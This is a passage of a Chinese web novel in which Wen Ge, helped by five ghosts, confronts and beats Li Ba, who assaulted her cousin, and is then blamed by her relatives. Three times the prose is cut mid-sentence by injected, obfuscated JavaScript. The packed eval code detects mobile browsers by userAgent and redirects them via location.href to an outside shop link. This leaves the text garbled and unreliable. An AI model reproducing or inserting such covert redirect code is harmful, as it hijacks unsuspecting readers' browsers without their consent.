宫女适时上前,为香炉添了新香。浓郁的沉香味弥漫开来,勉强盖住了那股若有似无的、类似于阴沟水的气息。 “你说有蒙面人阻拦?”皇后追问,“可曾看出什么端倪?” “那些人黑衣蒙面,身手矫健,招招狠辣,却从头到尾不发一言。”张天师继续编造,“像是专门候在那里,就为破坏贫道收鬼。” 皇后陷入沉思。蒙面人?会是王爷的人吗?可自己与皇叔素无深仇。丞相府的人?闻歌那丫头还有别的帮手?看来,此女背后势力,比想象中更复杂。 **人心之复杂,有时比鬼魅更难以捉摸。你永远不知道,那张平静的面孔下,藏着怎样曲折的算计。** “本宫给你三个月时间。”皇后抬眼,目光锐利,“务必拿下那五只鬼物,可能做到?” 张天师心里叫苦,面上却一派凛然:“降妖除魔乃贫道本分,纵使赴汤蹈火,也必在期限内将那五鬼擒获,交由娘娘发落!” “甚好。退下吧。” 张天师如蒙大赦,躬身退出,一出殿门便抹了把冷汗。三个月……得想个像样的法子交差才行。 待他走远,赵柯成从屏风后转出,满脸怀疑:“皇后娘娘,这老道所言……可信吗?” “玉清观名声在外,张天师更是观中翘楚。”皇后沉吟,“按理不该有假。只是……”她没说下去,心中那点疑虑如丝线缠绕,挥之不去。 “依末将看,这些道士多是欺世盗名之辈。”赵柯成粗声道,“娘娘还需多留个心眼。” “本宫自有分寸。”皇后端起茶盏,轻抿一口,“哥哥先回去吧。此事,需从长计议。” 送走赵柯成,皇后沉吟片刻,吩咐宫人:“去请闻贵人过来。” 有些棋子,是该动一动了。 --- 丞相府,正厅。 闻歌将闻义博之事原原本本禀告父亲后,厅内陷入死寂。 “混账东西!”闻丞相猛地将手中茶盏掼在地上,瓷片四溅,“我三番五次告诫他收敛,他全当耳旁风!如今闹到御前,还牵连你我——他是要把闻家百年清誉毁于一旦!” 闻歌看着满地狼藉,轻声道:“爹爹息怒。事已至此,交由刑部依法处置便是。” “依法处置?”闻丞相颓然坐回椅中,声音沙哑,“他爹去得早,我这个做叔叔的……终究是疏于管教,才有今日之祸。”他望向窗外,眼神痛惜,“是我对不起大哥。” 闻歌心中揪紧。父亲一生刚正不阿,如今却要为不肖侄儿背负愧疚。她张了张嘴,却不知如何安慰。 恰在此时,门房来报:二夫人携公子闻义博求见。 闻歌与父亲对视一眼,皆看到彼此眼中的无奈。 不过片刻,闻义博的母亲——平日里总是笑意盈面的二夫人,此刻却面容憔悴、眼圈红肿,拽着儿子疾步闯入厅中。闻义博跟在她身后,耷拉着脑袋,全无往日跋扈模样,倒像只斗败的公鸡。 “贤弟!歌儿!”二夫人未语先泣,“你们可得救救义博啊!皇上、皇上要把案子交给刑部了!”她一把抓住闻丞相的衣袖,声音发颤,“看在你大哥的份上,想想办法,求皇上开恩啊!” 闻丞相闭了闭眼,抽回衣袖,语气沉重:“嫂子,此案已由刑部李尚书全权审理,圣意已决,我也无能为力。” “怎么会没办法?”二夫人急了,转身推搡闻义博,“还不快给你叔叔跪下认错!平日我怎么教你的?你就是不听!” 闻义博“噗通”跪倒,带着哭腔:“叔叔,侄儿知错了!侄儿不想坐牢,求叔叔救我!” 二夫人又扑到闻歌面前,攥住她的手:“歌儿,伯母知道你和皇上……关系匪浅。你帮帮你堂哥,在皇上面前说几句好话,从轻发落,成不成?伯母求你了!”她说着就要往下跪。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992201|193764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 闻歌连忙扶住她:“伯母别这样,快坐下说话。”她示意丫鬟看茶,心中却乱成一团。 “歌儿,”二夫人不肯坐,眼泪扑簌簌往下掉,“我就这么一个儿子,他爹去得早,我把他拉扯大……若他有个三长两短,我、我也不活了!”她转向闻丞相,声音凄楚,“贤弟,我就算倾家荡产赔给那苦主,只要能保住义博一条命,我什么都愿意!” 闻歌看着她鬓边新添的白发,看着她眼中几乎绝望的哀求,那些硬起心肠准备回绝的话,卡在喉咙里,怎么也说不出口。 这是从小给她做糕点、给她缝衣裳的伯母。是父亲口中“大嫂持家不易”的寡嫂。是闻义博……那个混蛋堂哥的亲娘。 “伯母,”闻歌听到自己的声音干涩地响起,“您先别急。依我看……不如让堂哥先去刑部自首,坦白罪行,争取宽大处理。届时……我再寻机会,向皇上求情试试。” 话一出口,她便有些后悔。这等于给了伯母不该有的希望。可看着那张泪痕斑驳的脸,她实在狠不下心。 二夫人如抓住救命稻草,紧紧握住闻歌的手:“好!好!伯母听你的!只要有一线希望,伯母都感激不尽!”她又推闻义博,“还不谢谢你堂妹!” 闻义博忙不迭作揖,声音哽咽:“谢谢堂妹!以前是堂哥混账,对你多有得罪……堂哥给你赔不是了!” 恰在此时,闻歌的母亲闻夫人也闻讯赶来,见状轻叹:“老爷,事已至此,能帮便帮一把吧。终究是一家人。” 二夫人眼泪流得更凶:“义博他爹走得早,若这孩子真被判了重刑,我……我九泉之下,怎么有脸见他爹啊!” 闻丞相沉默良久,终于疲惫地开口:“义博,你把事情经过,原原本本再说一遍,不得有丝毫隐瞒。” 闻义博跪在地上,一五一十交代。强抢民女是酒后糊涂,本只想吓唬,谁知那姑娘性子烈,竟自尽了。事后他慌了神,想拿钱平事,却被苦主拒之门外…… “你们可曾诚心登门赔罪?”闻丞相问。 “去了,今早去的。”二夫人抹泪,“可那对老夫妻……根本不愿见我们,说只要义博偿命。” 闻丞相长叹:“丧女之痛,岂是钱财能弥补?”他站起身,在厅中踱了几步,“罢了。明日我亲自去那苦主家中赔罪。你们也去刑部李尚书府上走动,态度务必诚恳。后日……我再进宫,向皇上陈情。” 他看向闻义博,眼神复杂:“能否从轻发落,就看你的造化了。” 送走千恩万谢的二夫人母子,厅内重归寂静。 闻歌站在廊下,看着暮色中那两顶渐行渐远的轿子,心中沉甸甸的。 “早知今日,何必当初。”她低声喃喃。 可话又说回来,谁的人生没有行差踏错的时候?只是有些错,代价太大,大到一个家庭承受不起。 她想起伯母离去时佝偻的背影,想起那对失去女儿的老夫妻可能同样佝偻的背影。 **这世间最难的两全法,便是情与理的天平。偏向任何一端,心都会疼。** 夜风微凉,拂过庭院中的海棠树,叶片沙沙作响。 闻歌拢了拢衣袖,转身回房。 屋内,五个小鬼正排排坐在梁上,见她进来,齐刷刷望过来,雪白小脸上那两团嫣红在烛光下格外醒目。 “主人回来啦!”鬼五最先飘下来,“要不要捶腿?” 闻歌看着它们懵懂纯真的眼睛,忽然觉得,有时候鬼比人简单得多。 至少,它们的心思,一眼就能看透。 而人心,却如这深秋的夜,一层叠着一层,看不清底。 33. 第 33 章 时光倏忽,转眼已是一个多月后。 初冬的第一场薄雪覆盖了京城屋瓦,阳光照在雪上,反射出细碎的银光。闻歌站在丞相府后园的梅树下,望着枝头初绽的几朵红梅,心中却无半分赏景的闲情。 堂兄闻义博的案子终于有了结果——发配边疆充军。这个判决比预想的要轻,据说是父亲多方斡旋、皇上暗中默许的结果。可奇怪的是,闻歌前几日无意间听父亲提起,闻义博并未去往苦寒的军营,反而被皇叔“暂时收留”在边境的别院里,名义上是做家丁,实则是保护。 “皇叔为何要帮他?”闻歌当时问。 闻丞相沉默良久,才道:“朝堂之事,盘根错节。你堂兄……或许成了某些人手中的棋子。” 闻歌不懂这些权谋算计,她只觉得疲惫。更让她心烦的是另一件事——堂妹闻涵出事了。 事情要从一个多月前说起。那时闻义博的案子还未判,二伯母带着闻涵去刑部尚书李府求情。因着皇上曾为李尚书之子李霸和闻涵赐婚,两家算是有婚约之亲。谁料那李霸见闻涵独自上门,竟起了歹心,将人骗至后院强行玷污。 事后,李霸假意承诺尽快迎娶,二伯母又想着要靠李尚书为儿子开脱,两相权衡,竟将这天大的委屈生生咽下,未敢声张。 可那李霸是什么人?仗着父亲是刑部尚书,从小被宠得无法无天,书没读几本,欺男霸女的事却没少干。承诺的婚期一拖再拖,如今闻涵已被诊出有孕,整日在家以泪洗面,几次寻死觅活。 **这世道对女子总是苛刻。同样一件错事,男子或许只是风流债,女子却要赔上一生清誉,甚至性命。** “小姐,”小桃的声音将闻歌从思绪中拉回,“二夫人又来了,正在前厅和老爷夫人说话呢。” 闻歌转身往正厅走,小红跟在一旁,小声道:“我听前头的丫鬟说,这次好像……是为了涵小姐的事。” 闻歌脚步一顿,心头那股火“噌”地就窜了上来。 前厅里,气氛凝重。 二伯母坐在下首,不过月余,她整个人仿佛老了十岁。鬓边白发丛生,眼下的乌青脂粉都盖不住,一双总是带笑的眼睛此刻红肿着,写满了绝望。 “……贤弟,弟妹,我也是实在没法子了。”二伯母的声音沙哑得像砂纸磨过,“那李家……根本不把咱们放在眼里。涵儿整日哭,说不想活了,我、我这心跟刀绞似的……” 闻丞相脸色铁青,手中的茶盏捏得死紧:“嫂子,上次你为何不说实话?若早知李霸那畜生做出这等事,我便是拼着这官位不要,也要将他扭送官府!” “我当时……我当时也是昏了头。”二伯母眼泪又落下来,“想着义博的案子还要靠李尚书周全,又想着涵儿反正要嫁过去……谁知、谁知他们竟如此欺人太甚!” 闻夫人轻拍二伯母的手背,温声问:“那李家现在是什么意思?婚期到底定在何时?” “他们只推说还在筹备,问急了便说涵儿……”二伯母哽咽,“说涵儿自己不检点,未过门便有了身孕,丢尽了李家的脸。” “混账!”闻丞相猛地拍案而起,“我这就去李府,问问他李尚书,皇上赐的婚,他儿子做下这等丑事,还敢倒打一耙?!” “老爷且慢。”闻夫人拦住他,“此事关乎涵儿名声,不宜闹大。不如我先去李府探探口风,若他们真有诚意,便尽快把婚事办了;若没有……”她眼神一冷,“咱们闻家的女儿,也不是任人拿捏的软柿子。” 二伯母像抓住救命稻草,紧紧握住闻夫人的手:“多谢弟妹!多谢……” 这一幕,恰被站在厅外的闻歌看在眼里。 她转身就走,步子又快又急,衣袂带起廊下的积雪。 “小姐,你去哪儿?”小桃连忙跟上。 “去找闻涵。”闻歌的声音冷得像冰,“闻家的事,闻家人自己解决。” 回到房中,她一把抓起桌上那把怎么都拔不出的“神刀”,指尖因用力而发白。刀鞘上的纹路硌着掌心,她却感觉不到疼,只觉得心头那股火烧得她五脏六腑都在翻腾。 小红一边整理床铺,一边低声说:“涵小姐也是可怜,遇上李霸那种人渣……” “何止是人渣,”闻歌咬牙,“根本是畜生不如!” 她想起宫宴那日,李霸在比武场上赢了对战,跪请皇上赐婚时那副志得意满的嘴脸。皇上当时笑着应允,还夸他“少年英勇”——英勇?用在这等欺辱女子的废物身上,简直可笑! “小姐打算怎么办?”小桃担忧地问,“那李霸可是刑部尚书的独子,又得皇上赐婚……” “赐婚又如何?”闻歌冷笑,“皇上赐婚是让他明媒正娶,不是让他恃强凌弱、始乱终弃!”她将刀重重拍在桌上,“这口气,闻涵能咽,我咽不下!” 梁上,五个小鬼挤作一团,叽叽喳喳—— 鬼二兴奋地搓手:“主人要打架啦!要不要帮忙?” 鬼三歪着头:“我们怎么帮?飘出去吓死他?” “简单!”鬼四比划着,“等他晚上睡觉,咱们把他裤子扒了,拿剪子‘咔嚓’——”他做了个剪的动作,“让他当太监,看他还怎么欺负人!” 鬼五点头如捣蒜:“这个好!我喜欢!” “都闭嘴。”鬼大拍了下鬼四的脑袋,“咱们贸然出手,别人岂不更坐实了主人是‘妖女’?帮倒忙还差不多!” 鬼二委屈:“那怎么办?干看着?” 鬼大摸着下巴,眼里闪过狡黠的光:“看着也行啊。搬个小板凳,抓把瓜子,看主人怎么收拾那混蛋——多惬意!” “你们这几个小鬼,”闻歌忽然抬头,朝梁上瞪了一眼,“嘀嘀咕咕说什么呢?有主意就出,没主意就安静待着!” 小桃和小红虽然看不见五鬼,却知道它们的存在,闻言都忍不住抿嘴笑了。 “小姐真要去找李霸?”小红问。 “不然呢?”闻歌抓起披风系上,“等着闻涵被逼死,等着李霸逍遥快活?”她推开房门,寒风卷着雪沫扑进来,“闻家的姑娘,不能这么任人欺负!” 小桃和小红对视一眼,急忙跟上:“我们跟小姐一起去!” “还有我们!”梁上,五道半透明的影子轻飘飘落地,排成一排,眼巴巴望着闻歌。 闻歌看着这五个顶着冲天辫、脸颊红扑扑的小鬼,忽然觉得有些好笑。她摆摆手:“你们别跟了,人多……不,鬼多眼杂。” “我们可以隐身!”鬼五急道,“绝不添乱!” 闻歌想了想,到底松了口:“……跟着可以,但不许擅自出手,更不许现形吓人。” “遵命!”五小鬼齐声应道, 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闻涵的手冰凉,还在微微发抖。她缩了缩肩膀,声音细如蚊蚋:“可、可是……我已经……怀孕了……这事传出去,我、我还怎么活……” “那就让该负责的人负责!”闻歌斩钉截铁,“李霸不是求皇上赐了婚吗?那就让他八抬大轿、明媒正娶!若他不娶——”她眯起眼,“我就让他知道,欺负闻家姑娘要付出什么代价!” 闻涵怔怔看着她,眼底有一丝微弱的火苗燃起,却又很快熄灭:“没用的……他们李家根本瞧不上我,说我、说我不检点……” “放屁!”闻歌气得爆了粗口,“走,跟我去李府。今天不把这事说清楚,我就闹到他爹上朝都没脸!” “我不去……”闻涵往后缩,“我害怕……他们人那么多,我们两个女子……” “女子怎么了?”闻歌俯身,平视着闻涵的眼睛,声音不高,却字字铿锵,“女子受了欺负,就该躲在角落里哭,忍气吞声一辈子?闻涵,你听好了——这世道对女子是不公,可如果我们自己都认命,都低头,那才真是永无翻身之日!” 她紧紧握住闻涵的手,那双手依然冰凉,却不再发抖。 “面子不是别人给的,是自己挣的。谁让我们受气,我们就让谁不好过;谁给我们添堵,我们就拆了谁的台!”闻歌一字一句道,“今天,我陪你一起去。天塌下来,有我这个堂姐先顶着。” 窗外,雪不知何时又飘了起来。细碎的雪花落在窗棂上,很快融化成水珠。 闻涵看着堂姐眼中那簇燃烧的火,看着那张总是带着嬉笑、此刻却写满坚毅的脸,忽然觉得……或许,她真的可以不用一个人扛。 她咬了咬唇,终于轻轻点了点头。 小桃和小红连忙上前,帮闻涵梳洗更衣。闻歌站在窗前,望着庭院里越下越大的雪,手中那把拔不出的刀,在袖中握得滚烫。 梁上,五小鬼挤在角落,鬼大小声对同伴说:“看见没?咱们主人霸气起来,比鬼还吓人。” 鬼二点头:“我喜欢这样的主人。” “我也是。”鬼三、鬼四、鬼五齐声附和。 雪落无声。 而一场风暴,正在酝酿。 34. 第 34 章 雪粒子被寒风卷着,扑打在尚书府朱漆大门上,发出细碎的声响。 说了许久。闻涵才被说动。闻涵轻轻点头 闻歌才扬起神采。她从来就是一个不怕事的主,自己人被欺负了,她绝对是咽不下这口气。 闻歌领着闻涵、小桃、小红,四人踏过门槛积雪,步履带风。闻歌走在最前,披风下摆随步伐扬起,眉宇间凝着一层薄霜,不是天寒,是心火正旺。 刚至府门前石阶下,正撞见一行人晃晃悠悠出来。 为首的青年约莫二十出头,裹着锦貂裘,面色浮白,眼袋青黑,走路时肩膀一高一低地晃,正是李霸。他身后跟着四五个家丁,个个歪戴帽子斜瞪眼,一副京城纨绔标配的跋扈相。 闻歌脚步一顿,横身拦住去路。 “你就是李霸?”声音不高,却冷得像冰锥子。 李霸正低头拢袖子,闻声抬起眼皮,先是一愣,随即咧开嘴笑了。他上下打量着闻歌,目光黏腻地从她脸上刮过,喉结滚动:“哟,哪来的小娘子,生得这般标致——”他歪头想了想,笑得猥琐,“莫不是爷在哪处快活时欠下的风流债?肚子大了,来讨汤药钱?” 语气很是轻薄,带着一股子流里流气。 旁边一个三角眼家丁抱着胳膊,涎脸帮腔:“咱公子手头紧,打胎药倒是管够!” 话音未落,闻歌动了。她不仅动怒了,还动拳脚了。 她身影如电,众人只觉眼前一花,那三角眼家丁已“啊呀”一声惨叫,脑袋被一只纤手狠狠按向地面! “砰!”额骨撞上青石砖的闷响。 闻歌顺势抬脚一踹,那人如破麻袋般滚出丈余,瘫在雪地里不动了。 “狗叫得倒响。”闻歌甩甩手,像掸去灰尘。 李霸脸上的笑僵住,眼神阴了下来。他这才仔细看向闻歌——杏眼桃腮,身段窈窕,明明是该养在深闺的娇模样,可那双眼里的光,锐得像出鞘的刀。 **有些人,生来便带着刺。不伤人时看着只是带刺的花,真扎到手了,才知那刺里淬着见血封喉的毒。** “小娘子是专程来找茬的?”李霸舔了舔后槽牙,忽然又笑了,伸出手朝闻歌脸颊探去,“外头冷,不如进府,咱找个暖和屋子……‘坦诚相见’?爷好好疼你,也尝尝你这野雀儿的滋味——” “公子,这雀儿够烈,您吃得消吗?”另一个家丁挤眉弄眼。 “烈的好,”李霸手指即将触到闻歌皮肤,“爷就爱驯烈马……” 就在这时,闻涵、小桃、小红也赶了上来。闻涵一见李霸,吓得往后缩了半步,脸色比雪还白。 小桃见状,挺身上前喝道:“放肆!你知道我家小姐是谁吗?” 李霸手停在半空,故意夸张地拍拍胸口:“哎哟,可吓死爷了!是谁啊?说来听听,看爷的小心肝受不受得住!” “我家小姐是安国郡主、丞相之女闻歌!”小红扬声,下巴微扬。 李霸先是一怔,随即恍然,指着闻涵“噢”了一声,怪笑起来:“想起来了!宫宴上见过!”他目光在闻歌脸上转了一圈,淫邪不改,“怎么,是替你堂妹来讨说法?爷那晚是粗鲁了些,可谁让她长得勾人——啧,郡主若不服,不如你也来试试,爷保管比伺候皇上还尽心!” 这话说得露骨又恶毒。小桃气得浑身发抖,小红已要冲上去拼命。 闻歌却笑了。 那笑容很浅,眼底却结了冰。她伸手,看似随意地往前一探,握住李霸伸来的手腕,往前轻轻一拉,又骤然反方向一推—— 李霸只觉得一股巧劲袭来,整个人踉跄后退,脚后跟“哐”地撞在门槛上,若非家丁七手八脚扶住,险些仰面摔倒。 “狗东西,怎么不摔死你!”小红啐道。 李霸站稳身形,揉着发疼的手腕,眼神终于认真起来:“嗬,还真有两下子?跟谁学的?” “跟你祖宗教的。”闻歌双手抱胸,字字清晰,“他老人家在下面看不下去,托梦让我来教教你——做人,得懂规矩。” 她说着,已迈步跨过门槛。闻涵犹豫一瞬,被小桃小红一左一右扶着,也跟了进去。 李霸盯着闻歌的背影,忽然咧嘴:“关门!” 朱红大门“轰”地合拢,插上门栓。 庭院深深,积雪覆盖的假山枯树在阴天里显得格外肃杀。七八个家丁从廊下、厢房聚拢过来,隐隐形成合围之势。 “来了就别想走。”李霸搓着手,目光在闻歌三人身上逡巡,“今儿爷有福,皇上睡过的女人,爷也能尝尝鲜——” 话音未落,他猛地张开双臂扑来,想将闻歌拦腰抱住! “小姐小心!”小桃惊呼。 闻歌不退反进,足尖一点,身如飞燕凌空跃起,右膝如锤,精准顶在李霸下颌! “呃啊!”李霸痛嚎一声,整个人向后翻倒,“啪叽”摔了个结结实实的狗啃泥。 雪花溅起,落在他狼狈的锦袍上。 闻歌轻盈落地,掸了掸裙摆,朝地上的人勾勾手指:“来呀,不是要我伺候吗?才一下就不行了?” 小桃小红忍不住“噗嗤”笑出声,连一直瑟缩的闻涵,也悄悄抬起了眼。 李霸趴在地上,半晌才撑起身,吐出一口带血的唾沫。他摸着自己迅速肿起的下巴,看向闻歌的眼神终于染上惊惧。 “刚才不是挺能吠?”闻歌慢慢走近,靴子踩在雪上,发出“咯吱”轻响,“这就软了?要不先回你娘那儿喝两口奶,补补力气?本郡主有的是耐心,等你。” “你、你……”李霸指着她,手指发抖,也不知是气的还是怕的。 闻歌却已不耐烦,飞起一脚踹在他肩头! “闻歌!别打了!”闻涵突然冲上来,拉住闻歌的衣袖,眼泪簌簌往下掉,“求你了……别打了……” 闻歌回头看她,这个堂妹哭得眼睛红肿,抓着她的手冰凉颤抖。可就是这样一个人,被欺辱了不敢声张,怀孕了只能寻死,如今施暴者就在眼前,她竟还在为对方求情。 怒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992203|193764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其不争,更哀其不幸。 “放心,”闻歌压下心头酸涩,拍拍闻涵的手,“我不打死他。只打到他知道自己是个畜生,就够了。” 这时,那些家丁见主子挨打,互相使个眼色,一拥而上! 闻歌眼神一凛,将闻涵往小桃小红身边一推,迎身而上。 她没有章法,却招招狠辣。左拳击中一人胃部,那人顿时弯腰干呕;右肘撞在另一人鼻梁,鲜血迸溅;旋身飞踢,扫倒一片! 不过几个呼吸,七八个家丁已东倒西歪躺了一地,呻吟哀嚎。 李霸眼睁睁看着,腿肚子开始转筋。他哆嗦着往后蹭,嘴里却还硬撑:“你、你知道我爹是谁吗?!” 闻歌一步步逼近,雪地上留下一串清晰脚印:“你爹?是他?还是他?”她随手点向地上翻滚的家丁,语气嘲弄,“总不会是条老狗吧?” “我爹是刑部尚书李刚!”李霸嘶声喊,像是抓住最后一根稻草,“你敢动我,我爹饶不了你!皇上、皇上也会治你的罪!” “吓死我了。”闻歌已走到他面前,俯身,与他惊恐的双眼平视,“我还以为是阎王爷呢。” 她伸手,揪住李霸的前襟,像拎小鸡似的将他提了起来。 “这一巴掌,”闻歌扬手,“是替皇上打的。皇上赐婚,是让你明媒正娶,不是让你糟蹋人。” “啪!”清脆响亮。 “这一巴掌,是替闻涵打的。她好好一个姑娘,被你毁了清白,怀了骨肉,你还敢嫌她不检点?” “啪!”力道更重。 “这一巴掌,是替我自己打的。”闻歌盯着他迅速肿起的脸,“我这人最见不得畜生装人。今天,教你重新做‘人’。” “啪!”第三下,李霸嘴角裂开,血丝渗出。 小桃跳着拍手:“小姐!给我也打两下出出气!” 小红也喊:“我也要!” 闻歌回头,竟还有心思笑:“你们俩够黑啊,我只要了三下,你们一人要两下?”她手上却没停,左右开弓—— “啪啪啪啪!”连续四记耳光,又快又狠。 李霸被打得头晕目眩,脸颊红肿如猪头,眼泪鼻涕混着血往下淌。他终于崩溃,哑着嗓子求饶:“别、别打了……郡主饶命……我知错了,真知错了……” “乖。”闻歌松开手,李霸“扑通”瘫软在地。她用手背轻轻拍了拍他那张惨不忍睹的脸,声音温和得像在哄孩子,“早这么懂事,不就好了?” 庭院里一片死寂,只有风声和压抑的呻吟。 闻歌直起身,目光扫过满地狼藉,最后落在紧闭的朱门上。 她知道,打了李霸,这事才刚刚开始。 但,那又如何? 她转过身,看向终于挺直脊背、眼神不再躲闪的闻涵,微微一笑: “走,我们回家。” 雪,不知何时又大了些。 而某些根深蒂固的东西,似乎已在这一天,被这毫不留情的巴掌,扇开了一道裂缝。 35. 第 35 章 李霸蜷缩在雪地里,双手护着头,像个受惊的乌龟。闻歌垂眸看他这副怂样,心头那股恶气总算散了大半。 “怎么,这就成缩头乌龟了?”她轻嗤一声,拍了拍手上并不存在的灰尘,“刚才那股嚣张劲儿呢?” 闻涵却在这时冲了过来,一把推开闻歌,蹲到李霸身边,声音带着哭腔:“你、你没事吧?怎么被打成这样……” 李霸从指缝里偷瞄一眼,见闻歌没有再动手的意思,才颤声开口:“我、我娶!我明日就去你家提亲!别、别打了……” 闻歌挑眉:“早这么痛快,何必挨这顿打?” 话音未落,后院方向传来一阵急促脚步声。 “霸儿!我的霸儿啊——!”一个身穿绛紫锦缎袄裙、头戴点翠抹额的妇人慌慌张张跑出来,正是李霸的母亲李夫人。她一见儿子瘫在地上,脸颊红肿嘴角带血,顿时尖叫一声扑了过去。 “是谁?!是谁把我儿打成这样?!”李夫人猛地抬头,目光扫过众人,最后钉在蹲在一旁的闻涵身上。 “是你这个害人精!”她扬手就是一巴掌,狠狠扇在闻涵脸上,“就是你把我家霸儿害成这样!还不给我滚!滚得越远越好!” 闻涵被打得偏过头去,脸上迅速浮现红印。她捂着脸,眼泪大颗大颗往下掉,却不敢还嘴,反而扭头瞪向闻歌:“都怪你!闻歌,你是不是不害死我就不甘心?!” 就在这时,丞相夫人、闻涵的母亲二夫人,以及闻清也赶到了。 闻清本是奉皇后之命来“缓和关系”的,可一见这场面,又见闻歌站在中央,那股积压许久的怨气瞬间冲垮了理智。她上前一步,指着闻歌斥道:“闻歌!你怎么这么莽撞!有什么事不能好好说?非要上门打人!你是不是仗着皇上宠你,就无法无天了?!” 这话说得又急又毒。丞相夫人脸色微沉,但还没开口,二夫人已先炸了。 李夫人见二夫人来了,更是气不打一处来,指着她鼻子骂:“你还有脸来!是你家女儿自己轻贱,不知检点!现在倒好,带着人把我家霸儿打成这样!我告诉你,这门亲事我不同意!你女儿是死是活,跟我李家没关系!” 二夫人被这劈头盖脸的辱骂气得浑身发抖,嘴唇哆嗦了半天才挤出话来:“你、你欺人太甚!明明是李霸糟蹋了我家涵儿,你们答应娶亲却又反悔!如今涵儿怀了身孕,你们还想赖账不成?!” “怀了孕就赖我家霸儿?谁知道是哪个野男人的种!”李夫人尖声反驳,“我还要让我家老爷去皇上那儿告你们,告你们私闯尚书府、殴打朝廷命官之子!” “告啊!我也要去告!”二夫人豁出去了,“皇上赐的婚,你们也敢反悔!看皇上治谁的罪!” 场面乱成一锅粥。指责声、哭骂声、辩解声混杂在一起,在冬日庭院里回荡。 闻涵站在风暴中心,只觉得所有人的目光都像针一样扎在身上。她猛地转向闻歌,眼神里满是怨恨:“都是你的错!我说不来,你偏要来!现在好了,事情闹成这样,你满意了?!” 闻歌怔住了。 她看着这个自己刚刚为之出头的堂妹,看着那张脸上清晰的巴掌印和怨毒的眼神,心头像被冰水浇了个透。 “我还不是为了你……”她声音有些哑。 “谁要你为了我!”闻涵尖叫,“你就是想看我家笑话!闻歌,我早就看透了,你就是见不得别人好!” 闻清在一旁阴阳怪气地帮腔:“就是。闻歌,你是不是觉得害了我们,你就开心了?” 二夫人也调转枪头,对着闻歌咬牙切齿:“死丫头!谁让你来打人了?!我让你帮忙了吗?!现在两家闹成这样,你得意了?!怪不得你爹动不动就要对你动家法,你就是活该!” 一句接一句,字字诛心。 闻歌站在原地,寒风卷着雪沫扑在脸上,她却觉得脸颊发烫。不是羞,是怒,是憋屈,是那种“狗咬吕洞宾”的荒谬感。 小桃和小红一左一右拉住她的袖子,低声劝:“小姐,别说了……咱们先回去……” 闻歌咬紧牙关,把涌到嘴边的怒骂硬生生咽了回去。 **这世上最寒心的,不是你为谁两肋插刀,而是你插完刀后,发现插的是自己。** 就在这混乱不堪之际,一道威严的声音从廊下传来: “吵什么吵!成何体统!” 众人回头,只见刑部尚书李刚沉着脸快步走来。他身后不远处,一道藏青色身影在廊柱后一闪而过——闻歌眼尖,认出那是皇叔的衣角。 原来皇叔也在。难怪…… 李尚书先瞪了自家夫人一眼:“妇道人家,胡闹什么!还不退下!” 李夫人还想争辩,被李尚书一个眼神逼了回去,只得悻悻扶起李霸,在丫鬟的簇拥下往后院去了。 李尚书这才转向众人,脸上堆起歉意的笑,朝丞相夫人、二夫人和闻歌拱手:“安国郡主,丞相夫人,亲家……今日之事,全是老夫治家不严之过。犬子无状,冒犯了郡主和闻小姐,老夫在此赔罪了。” 他顿了顿,语气郑重:“至于霸儿与闻涵小姐的婚事——既然是皇上赐婚,自然作数。老夫近日便择吉日,备厚礼,登门提亲。还请诸位放心。” 这话一出,二夫人和闻涵的脸色瞬间由阴转晴。 闻涵甚至破涕为笑,看向李尚书的目光里满是感激。方才的羞辱、巴掌、谩骂,仿佛都随着这句承诺烟消云散了。 丞相夫人微微颔首,不愿多留:“既如此,我们便先告辞了。” 她拉起闻歌的手,转身就走。小桃小红连忙跟上。 走出尚书府朱门时,闻歌回头看了一眼。暮色中,闻涵正搀着母亲,脸上带着劫后余生的庆幸笑容,与李尚书说着什么。没有一个人,往她这个“罪魁祸首”离开的方向,看上一眼。 马车碾过积雪的街道,发出“嘎吱”的声响。 车内,炭盆烧得正暖,却驱不散闻歌心头的寒意。 “娘,”她靠在车厢壁上,声音闷闷的,“您说,今天这事……气不气人?” 她想起闻涵怨毒的眼神,想起二夫人那句“死丫头”,想起闻清的落井下石。肺里像堵了团棉花,喘不上气,又憋得难受。 丞相夫人握住女儿冰凉的手,轻轻叹了口气:“歌儿,你可听过一句俗话——‘有事求公公,无事脸朝东’?” 闻歌抬眼。 “这世道啊,有些人就是这样。”丞相夫人语气平静,像在说一件再寻常不过的事,“求着你的时候,什么好话都说得出口;用不着你了,翻脸比翻书还快。亲戚也好,外人也罢,人性如此。” “可这也太……”闻歌攥紧拳头,“太没良心了!不是我闹这一场,李尚书能松口?李霸能答应娶她?她们倒好,事情解决了,转头就把错全推我头上!” “你还不了解你二伯母一家?”丞相夫人摇头,“若他们懂得知恩图报、有情有义,闻义博何至于闯下大祸?闻涵何至于被人欺辱了还不敢声张?也就闻阙之那孩子,还肯听你爹几句劝,用心读书考取功名。” 闻歌想起那个沉默寡言、埋头苦读的堂弟,心里稍感安慰,但随即又被怒气填满:“活该他们混不好!一群过河拆桥的白眼狼!” “她们混得好不好,那是她们的事。”丞相夫人轻拍女儿的手背,“咱们只盼着她们少惹事,少让你爹操心,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 